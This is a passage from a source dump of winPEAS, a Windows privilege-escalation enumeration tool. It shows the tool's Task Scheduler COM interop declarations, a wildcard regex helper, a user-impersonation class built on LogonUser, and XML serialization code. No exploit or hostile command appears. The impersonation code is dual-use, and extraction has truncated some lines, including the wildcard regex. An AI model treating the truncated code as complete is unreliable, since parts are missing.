MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } object SecurityDescriptor { [return: MarshalAs(UnmanagedType.Struct)] get; [param: In, MarshalAs(UnmanagedType.Struct)] set; } string Source { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("4C8FEC3A-C218-4E0C-B23D-629024DB91A2"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IRegistrationTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("7FB9ACF1-26BE-400E-85B5-294B9C75DFD6"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IRepetitionPattern { string Interval { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Duration { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } bool StopAtDurationEnd { get; [param: In] set; } } [ComImport, Guid("653758FB-7B9A-4F1E-A471-BEEB8E9B834E"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember("InstanceGuid")] internal interface IRunningTask { string Name { [return: MarshalAs(UnmanagedType.BStr)] get; } string InstanceGuid { [return: MarshalAs(UnmanagedType.BStr)] get; } string Path { [return: MarshalAs(UnmanagedType.BStr)] get; } TaskState State { get; } string CurrentAction { [return: MarshalAs(UnmanagedType.BStr)] get; } void Stop(); void Refresh(); uint EnginePID { get; } } [ComImport, Guid("6A67614B-6828-4FEC-AA54-6D52E8F1F2DB"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IRunningTaskCollection { int Count { get; } IRunningTask this[object index] { [return: MarshalAs(UnmanagedType.Interface)] get; } [return: MarshalAs(UnmanagedType.Interface)] IEnumerator GetEnumerator(); } [ComImport, InterfaceType(ComInterfaceType.InterfaceIsDual), Guid("754DA71B-4385-4475-9DD9-598294FA3641"), System.Security.SuppressUnmanagedCodeSecurity] internal interface ISessionStateChangeTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string UserId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } TaskSessionStateChangeType StateChange { get; [param: In] set; } } [ComImport, Guid("505E9E68-AF89-46B8-A30F-56162A83D537"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IShowMessageAction : IAction { new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new TaskActionType Type { get; } string Title { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string MessageBody { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("F5BC8FC5-536D-4F77-B852-FBC1356FDEB6"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITaskDefinition { IRegistrationInfo RegistrationInfo { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } ITriggerCollection Triggers { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } ITaskSettings Settings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } string Data { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } IPrincipal Principal { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } IActionCollection Actions { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("8CFAC062-A080-4C15-9A88-AA7C2AF80DFC"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember("Path")] internal interface ITaskFolder { string Name { [return: MarshalAs(UnmanagedType.BStr)] get; } string Path { [return: MarshalAs(UnmanagedType.BStr)] get; } [return: MarshalAs(UnmanagedType.Interface)] ITaskFolder GetFolder([MarshalAs(UnmanagedType.BStr)] string Path); [return: MarshalAs(UnmanagedType.Interface)] ITaskFolderCollection GetFolders(int flags); [return: MarshalAs(UnmanagedType.Interface)] ITaskFolder CreateFolder([In, MarshalAs(UnmanagedType.BStr)] string subFolderName, [In, Optional, MarshalAs(UnmanagedType.Struct)] object sddl); void DeleteFolder([MarshalAs(UnmanagedType.BStr)] string subFolderName, [In] int flags); [return: MarshalAs(UnmanagedType.Interface)] IRegisteredTask GetTask([MarshalAs(UnmanagedType.BStr)][NotNull] string Path); [return: MarshalAs(UnmanagedType.Interface)] IRegisteredTaskCollection GetTasks(int flags); void DeleteTask([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Name, [In] int flags); [return: MarshalAs(UnmanagedType.Interface)] IRegisteredTask RegisterTask([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Path, [In, MarshalAs(UnmanagedType.BStr)][NotNull] string XmlText, [In] int flags, [In, MarshalAs(UnmanagedType.Struct)] object UserId, [In, MarshalAs(UnmanagedType.Struct)] object password, [In] TaskLogonType LogonType, [In, Optional, MarshalAs(UnmanagedType.Struct)] object sddl); [return: MarshalAs(UnmanagedType.Interface)] IRegisteredTask RegisterTaskDefinition([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Path, [In, MarshalAs(UnmanagedType.Interface)][NotNull] ITaskDefinition pDefinition, [In] int flags, [In, MarshalAs(UnmanagedType.Struct)] object UserId, [In, MarshalAs(UnmanagedType.Struct)] object password, [In] TaskLogonType LogonType, [In, Optional, MarshalAs(UnmanagedType.Struct)] object sddl); [return: MarshalAs(UnmanagedType.BStr)] string GetSecurityDescriptor(int securityInformation); void SetSecurityDescriptor([In, MarshalAs(UnmanagedType.BStr)] string sddl, [In] int flags); } [ComImport, Guid("79184A66-8664-423F-97F1-637356A5D812"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITaskFolderCollection { int Count { get; } ITaskFolder this[object index] { [return: MarshalAs(UnmanagedType.Interface)] get; } [return: MarshalAs(UnmanagedType.Interface)] IEnumerator GetEnumerator(); } [ComImport, Guid("B4EF826B-63C3-46E4-A504-EF69E4F7EA4D"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITaskNamedValueCollection { int Count { get; } ITaskNamedValuePair this[int index] { [return: MarshalAs(UnmanagedType.Interface)] get; } [return: MarshalAs(UnmanagedType.Interface)] IEnumerator GetEnumerator(); [return: MarshalAs(UnmanagedType.Interface)] ITaskNamedValuePair Create([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Name, [In, MarshalAs(UnmanagedType.BStr)] string Value); void Remove([In] int index); void Clear(); } [ComImport, Guid("39038068-2B46-4AFD-8662-7BB6F868D221"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember("Name")] internal interface ITaskNamedValuePair { string Name { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Value { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, DefaultMember("TargetServer"), Guid("2FABA4C7-4DA9-4013-9697-20CC3FD40F85"), System.Security.SuppressUnmanagedCodeSecurity, CoClass(typeof(TaskSchedulerClass))] internal interface ITaskService { [return: MarshalAs(UnmanagedType.Interface)] [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(1)] ITaskFolder GetFolder([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Path); [return: MarshalAs(UnmanagedType.Interface)] [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(2)] IRunningTaskCollection GetRunningTasks(int flags); [return: MarshalAs(UnmanagedType.Interface)] [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(3)] ITaskDefinition NewTask([In] uint flags); [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(4)] void Connect([In, Optional, MarshalAs(UnmanagedType.Struct)] object serverName, [In, Optional, MarshalAs(UnmanagedType.Struct)] object user, [In, Optional, MarshalAs(UnmanagedType.Struct)] object domain, [In, Optional, MarshalAs(UnmanagedType.Struct)] object password); [DispId(5)] bool Connected { [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(5)] get; } [DispId(0)] string TargetServer { [return: MarshalAs(UnmanagedType.BStr)][MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(0)] get; } [DispId(6)] string ConnectedUser { [return: MarshalAs(UnmanagedType.BStr)][MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(6)] get; } [DispId(7)] string ConnectedDomain { [return: MarshalAs(UnmanagedType.BStr)][MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(7)] get; } [DispId(8)] uint HighestVersion { [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(8)] get; } } [ComImport, DefaultMember("TargetServer"), Guid("0F87369F-A4E5-4CFC-BD3E-73E6154572DD"), ClassInterface((short)0), System.Security.SuppressUnmanagedCodeSecurity] internal class TaskSchedulerClass { } [ComImport, Guid("8FD4711D-2D02-4C8C-87E3-EFF699DE127E"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITaskSettings { bool AllowDemandStart { get; [param: In] set; } string RestartInterval { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } int RestartCount { get; [param: In] set; } TaskInstancesPolicy MultipleInstances { get; [param: In] set; } bool StopIfGoingOnBatteries { get; [param: In] set; } bool DisallowStartIfOnBatteries { get; [param: In] set; } bool AllowHardTerminate { get; [param: In] set; } bool StartWhenAvailable { get; [param: In] set; } string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } bool RunOnlyIfNetworkAvailable { get; [param: In] set; } string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } bool Enabled { get; [param: In] set; } string DeleteExpiredTaskAfter { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } int Priority { get; [param: In] set; } TaskCompatibility Compatibility { get; [param: In] set; } bool Hidden { get; [param: In] set; } IIdleSettings IdleSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } bool RunOnlyIfIdle { get; [param: In] set; } bool WakeToRun { get; [param: In] set; } INetworkSettings NetworkSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } } [ComImport, Guid("2C05C3F0-6EED-4c05-A15F-ED7D7A98A369"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITaskSettings2 { bool DisallowStartOnRemoteAppSession { get; [param: In] set; } bool UseUnifiedSchedulingEngine { get; [param: In] set; } } [ComImport, Guid("0AD9D0D7-0C7F-4EBB-9A5F-D1C648DCA528"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITaskSettings3 : ITaskSettings { new bool AllowDemandStart { get; [param: In] set; } new string RestartInterval { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new int RestartCount { get; [param: In] set; } new TaskInstancesPolicy MultipleInstances { get; [param: In] set; } new bool StopIfGoingOnBatteries { get; [param: In] set; } new bool DisallowStartIfOnBatteries { get; [param: In] set; } new bool AllowHardTerminate { get; [param: In] set; } new bool StartWhenAvailable { get; [param: In] set; } new string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool RunOnlyIfNetworkAvailable { get; [param: In] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } new string DeleteExpiredTaskAfter { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new int Priority { get; [param: In] set; } new TaskCompatibility Compatibility { get; [param: In] set; } new bool Hidden { get; [param: In] set; } new IIdleSettings IdleSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new bool RunOnlyIfIdle { get; [param: In] set; } new bool WakeToRun { get; [param: In] set; } new INetworkSettings NetworkSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } bool DisallowStartOnRemoteAppSession { get; [param: In] set; } bool UseUnifiedSchedulingEngine { get; [param: In] set; } IMaintenanceSettings MaintenanceSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } [return: MarshalAs(UnmanagedType.Interface)] IMaintenanceSettings CreateMaintenanceSettings(); bool Volatile { get; [param: In] set; } } [ComImport, Guid("A6024FA8-9652-4ADB-A6BF-5CFCD877A7BA"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IMaintenanceSettings { string Period { [param: In, MarshalAs(UnmanagedType.BStr)] set; [return: MarshalAs(UnmanagedType.BStr)] get; } string Deadline { [param: In, MarshalAs(UnmanagedType.BStr)] set; [return: MarshalAs(UnmanagedType.BStr)] get; } bool Exclusive { [param: In] set; get; } } [ComImport, Guid("3E4C9351-D966-4B8B-BB87-CEBA68BB0107"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITaskVariables { [return: MarshalAs(UnmanagedType.BStr)] [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] string GetInput(); [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] void SetOutput([In, MarshalAs(UnmanagedType.BStr)] string input); [return: MarshalAs(UnmanagedType.BStr)] [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] string GetContext(); } [ComImport, Guid("B45747E0-EBA7-4276-9F29-85C5BB300006"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITimeTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("09941815-EA89-4B5B-89E0-2A773801FAC3"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITrigger { TaskTriggerType Type { get; } string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } bool Enabled { get; [param: In] set; } } [ComImport, Guid("85DF5081-1B24-4F32-878A-D9D14DF4CB77"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITriggerCollection { int Count { get; } ITrigger this[int index] { [return: MarshalAs(UnmanagedType.Interface)] get; } [return: MarshalAs(UnmanagedType.Interface)] IEnumerator GetEnumerator(); [return: MarshalAs(UnmanagedType.Interface)] ITrigger Create([In] TaskTriggerType Type); void Remove([In, MarshalAs(UnmanagedType.Struct)] object index); void Clear(); } [ComImport, Guid("5038FC98-82FF-436D-8728-A512A57C9DC1"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IWeeklyTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } short DaysOfWeek { get; [param: In] set; } short WeeksInterval { get; [param: In] set; } string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/V2/TaskSchedulerV2Schema.xsd ================================================  ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/Wildcard.cs ================================================ using System.Text.RegularExpressions; namespace winPEAS.TaskScheduler { /// /// Represents a wildcard running on the /// engine. /// public class Wildcard : Regex { /// /// Initializes a wildcard with the given search pattern and options. /// /// The wildcard pattern to match. /// A combination of one or more . public Wildcard([NotNull] string pattern, RegexOptions options = RegexOptions.Compiled | RegexOptions.IgnoreCase | RegexOptions.IgnorePatternWhitespace) : base(WildcardToRegex(pattern), options) { } /// /// Converts a wildcard to a regular expression. /// /// The wildcard pattern to convert. /// A regular expression equivalent of the given wildcard. public static string WildcardToRegex([NotNull] string pattern) { string s = Escape(pattern); s = Replace(s, @"(? /// Impersonation of a user. Allows to execute code under another /// user context. /// Please note that the account that instantiates the Impersonator class /// needs to have the 'Act as part of operating system' privilege set. ///
    internal class WindowsImpersonatedIdentity : IDisposable, IIdentity { private const int LOGON_TYPE_NEW_CREDENTIALS = 9; private const int LOGON32_LOGON_INTERACTIVE = 2; private const int LOGON32_PROVIDER_DEFAULT = 0; private const int LOGON32_PROVIDER_WINNT50 = 3; #if NETSTANDARD || NETCOREAPP #else private WindowsImpersonationContext impersonationContext = null; #endif SafeTokenHandle token; private WindowsIdentity identity = null; /// /// Constructor. Starts the impersonation with the given credentials. /// Please note that the account that instantiates the Impersonator class /// needs to have the 'Act as part of operating system' privilege set. /// /// The name of the user to act as. /// The domain name of the user to act as. /// The password of the user to act as. public WindowsImpersonatedIdentity(string userName, string domainName, string password) { if (string.IsNullOrEmpty(userName) && string.IsNullOrEmpty(domainName) && string.IsNullOrEmpty(password)) { identity = WindowsIdentity.GetCurrent(); } else { if (Advapi32.LogonUser(userName, domainName, password, domainName == null ? LOGON_TYPE_NEW_CREDENTIALS : LOGON32_LOGON_INTERACTIVE, domainName == null ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, out token) != 0) { #if NETSTANDARD || NETCOREAPP if (!NativeMethods.ImpersonateLoggedOnUser(token.DangerousGetHandle())) throw new Win32Exception(); #else identity = new WindowsIdentity(token.DangerousGetHandle()); impersonationContext = identity.Impersonate(); #endif } else { throw new Win32Exception(Marshal.GetLastWin32Error()); } } } public string AuthenticationType => identity?.AuthenticationType; public bool IsAuthenticated => identity != null && identity.IsAuthenticated; public string Name => identity?.Name; public void Dispose() { #if NETSTANDARD || NETCOREAPP NativeMethods.RevertToSelf(); #else impersonationContext?.Undo(); #endif token?.Dispose(); identity?.Dispose(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/XmlSerializationHelper.cs ================================================ using System; using System.Collections.Generic; using System.ComponentModel; using System.Reflection; using System.Text; using System.Xml; using System.Xml.Serialization; namespace winPEAS.TaskScheduler { internal static class XmlSerializationHelper { public static object GetDefaultValue([NotNull] PropertyInfo prop) { var attributes = prop.GetCustomAttributes(typeof(DefaultValueAttribute), true); if (attributes.Length > 0) { var defaultAttr = (DefaultValueAttribute)attributes[0]; return defaultAttr.Value; } // Attribute not found, fall back to default value for the type if (prop.PropertyType.IsValueType) return Activator.CreateInstance(prop.PropertyType); return null; } private static bool GetPropertyValue(object obj, [NotNull] string property, ref object outVal) { PropertyInfo pi = obj?.GetType().GetProperty(property); if (pi != null) { outVal = pi.GetValue(obj, null); return true; } return false; } private static bool GetAttributeValue(Type objType, Type attrType, string property, bool inherit, ref object outVal) { object[] attrs = objType.GetCustomAttributes(attrType, inherit); if (attrs.Length > 0) return GetPropertyValue(attrs[0], property, ref outVal); return false; } private static bool GetAttributeValue([NotNull] PropertyInfo propInfo, Type attrType, string property, bool inherit, ref object outVal) { Attribute attr = Attribute.GetCustomAttribute(propInfo, attrType, inherit); return GetPropertyValue(attr, property, ref outVal); } private static bool IsStandardType(Type type) => type.IsPrimitive || type == typeof(DateTime) || type == typeof(DateTimeOffset) || type == typeof(Decimal) || type == typeof(Guid) || type == typeof(TimeSpan) || type == typeof(string) || type.IsEnum; private static bool HasMembers([NotNull] object obj) { if (obj is IXmlSerializable) { using (System.IO.MemoryStream mem = new System.IO.MemoryStream()) { using (XmlTextWriter tw = new XmlTextWriter(mem, Encoding.UTF8)) { ((IXmlSerializable)obj).WriteXml(tw); tw.Flush(); return mem.Length > 3; } } } // Enumerate each public property PropertyInfo[] props = obj.GetType().GetProperties(BindingFlags.Instance | BindingFlags.Public); foreach (var pi in props) { if (!Attribute.IsDefined(pi, typeof(XmlIgnoreAttribute), false)) { object value = pi.GetValue(obj, null); if (!Equals(value, GetDefaultValue(pi))) { if (!IsStandardType(pi.PropertyType)) { if (HasMembers(value)) return true; } else return true; } } } return false; } public static string GetPropertyAttributeName([NotNull] PropertyInfo pi) { object oVal = null; string eName = pi.Name; if (GetAttributeValue(pi, typeof(XmlAttributeAttribute), "AttributeName", false, ref oVal)) eName = oVal.ToString(); return eName; } public static string GetPropertyElementName([NotNull] PropertyInfo pi) { object oVal = null; string eName = pi.Name; if (GetAttributeValue(pi, typeof(XmlElementAttribute), "ElementName", false, ref oVal)) eName = oVal.ToString(); else if (GetAttributeValue(pi.PropertyType, typeof(XmlRootAttribute), "ElementName", true, ref oVal)) eName = oVal.ToString(); return eName; } public delegate bool PropertyConversionHandler([NotNull] PropertyInfo pi, Object obj, ref Object value); public static bool WriteProperty([NotNull] XmlWriter writer, [NotNull] PropertyInfo pi, [NotNull] Object obj, PropertyConversionHandler handler = null) { if (Attribute.IsDefined(pi, typeof(XmlIgnoreAttribute), false) || Attribute.IsDefined(pi, typeof(XmlAttributeAttribute), false)) return false; object value = pi.GetValue(obj, null); object defValue = GetDefaultValue(pi); if ((value == null && defValue == null) || (value != null && value.Equals(defValue))) return false; Type propType = pi.PropertyType; if (handler != null && handler(pi, obj, ref value)) propType = value.GetType(); bool isStdType = IsStandardType(propType); bool rw = pi.CanRead && pi.CanWrite; bool ro = pi.CanRead && !pi.CanWrite; string eName = GetPropertyElementName(pi); if (isStdType && rw) { string output = GetXmlValue(value, propType); if (output != null) writer.WriteElementString(eName, output); } else if (!isStdType) { object outVal = null; if (propType.GetInterface("IXmlSerializable") == null && GetAttributeValue(pi, typeof(XmlArrayAttribute), "ElementName", true, ref outVal) && propType.GetInterface("IEnumerable") != null) { if (string.IsNullOrEmpty(outVal.ToString())) outVal = eName; writer.WriteStartElement(outVal.ToString()); var attributes = Attribute.GetCustomAttributes(pi, typeof(XmlArrayItemAttribute), true); var dict = new Dictionary(attributes.Length); foreach (XmlArrayItemAttribute a in attributes) dict.Add(a.Type, a.ElementName); foreach (object item in ((System.Collections.IEnumerable)value)) { string aeName; Type itemType = item.GetType(); if (dict.TryGetValue(itemType, out aeName)) { if (IsStandardType(itemType)) writer.WriteElementString(aeName, GetXmlValue(item, itemType)); else WriteObject(writer, item, null, false, aeName); } } writer.WriteEndElement(); } else WriteObject(writer, value); } return false; } private static string GetXmlValue([NotNull] object value, Type propType) { string output = null; if (propType.IsEnum) { if (Attribute.IsDefined(propType, typeof(FlagsAttribute), false)) output = Convert.ChangeType(value, Enum.GetUnderlyingType(propType)).ToString(); else output = value.ToString(); } else { switch (propType.FullName) { case "System.Boolean": output = XmlConvert.ToString((System.Boolean)value); break; case "System.Byte": output = XmlConvert.ToString((System.Byte)value); break; case "System.Char": output = XmlConvert.ToString((System.Char)value); break; case "System.DateTime": output = XmlConvert.ToString((System.DateTime)value, XmlDateTimeSerializationMode.RoundtripKind); break; case "System.DateTimeOffset": output = XmlConvert.ToString((System.DateTimeOffset)value); break; case "System.Decimal": output = XmlConvert.ToString((System.Decimal)value); break; case "System.Double": output = XmlConvert.ToString((System.Double)value); break; case "System.Single": output = XmlConvert.ToString((System.Single)value); break; case "System.Guid": output = XmlConvert.ToString((System.Guid)value); break; case "System.Int16": output = XmlConvert.ToString((System.Int16)value); break; case "System.Int32": output = XmlConvert.ToString((System.Int32)value); break; case "System.Int64": output = XmlConvert.ToString((System.Int64)value); break; case "System.SByte": output = XmlConvert.ToString((System.SByte)value); break; case "System.TimeSpan": output = XmlConvert.ToString((System.TimeSpan)value); break; case "System.UInt16": output = XmlConvert.ToString((System.UInt16)value); break; case "System.UInt32": output = XmlConvert.ToString((System.UInt32)value); break; case "System.UInt64": output = XmlConvert.ToString((System.UInt64)value); break; default: output = value == null ? string.Empty : value.ToString(); break; } } return output; } public static void WriteObjectAttributes([NotNull] XmlWriter writer, [NotNull] object obj, PropertyConversionHandler handler = null) { // Enumerate each property foreach (var pi in obj.GetType().GetProperties(BindingFlags.Instance | BindingFlags.Public)) if (Attribute.IsDefined(pi, typeof(XmlAttributeAttribute), false)) WriteObjectAttribute(writer, pi, obj, handler); } public static void WriteObjectAttribute([NotNull] XmlWriter writer, [NotNull] PropertyInfo pi, [NotNull] object obj, PropertyConversionHandler handler = null) { object value = pi.GetValue(obj, null); object defValue = GetDefaultValue(pi); if ((value == null && defValue == null) || (value != null && value.Equals(defValue))) return; Type propType = pi.PropertyType; if (handler != null && handler(pi, obj, ref value)) propType = value.GetType(); writer.WriteAttributeString(GetPropertyAttributeName(pi), GetXmlValue(value, propType)); } public static void WriteObjectProperties([NotNull] XmlWriter writer, [NotNull] object obj, PropertyConversionHandler handler = null) { // Enumerate each public property foreach (var pi in obj.GetType().GetProperties(BindingFlags.Instance | BindingFlags.Public)) WriteProperty(writer, pi, obj, handler); } public static void WriteObject([NotNull] XmlWriter writer, [NotNull] object obj, PropertyConversionHandler handler = null, bool includeNS = false, string elemName = null) { if (obj == null) return; // Get name of top level element string oName = elemName ?? GetElementName(obj); if (!HasMembers(obj)) return; 